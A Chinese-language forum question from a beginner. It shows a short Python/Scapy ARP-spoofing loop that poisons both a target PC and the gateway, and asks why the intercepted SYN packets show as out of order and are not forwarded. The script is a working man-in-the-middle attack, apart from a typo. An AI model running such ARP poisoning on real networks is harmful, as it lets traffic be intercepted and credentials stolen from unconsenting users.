最近刚接触ARP欺骗,在网络上看到ARP欺骗在局域网内可以做到中间人攻击,因此使用Python做了测试。
while True:
# spoof user
sendp(Ether(dst=dst_mac) / ARP(psrc=gateway_ip, hwsrc=my_mac, pdst=dst_ip,hwdst=dst_mac, op=2))
# spoof gateway
sendp(Ether(dst=gateway_mac) / ARP(psrc=dst_ip, hwsrc=may_mac', pdst=gateway_ip, hwdst=gateway_mac, op=2))
# time wait in second
time.sleep(0.2)
其中,dst代表目标欺骗的PC。运行代码后,使用Wireshark抓包,发现dst一次性发了3条TCP SYN。在中间人上抓到了6条,其中3条本应该由中间人转发至外部IP的,但是显示TCP Out of order,似乎没有发出去,因为没有收到外部IP的SYN/ACK。我发现端口都是61321(可变)->80。中间人电脑已经在服务和注册表中enable了路由转发,而且Out of order的TCP包也是因为开了转发才有的,但是却出现了TCP out of Order的错误,导致我能截获目标PC的流量,却无法把流量成功转发出去。
中间人和目标PC都是win10 1903。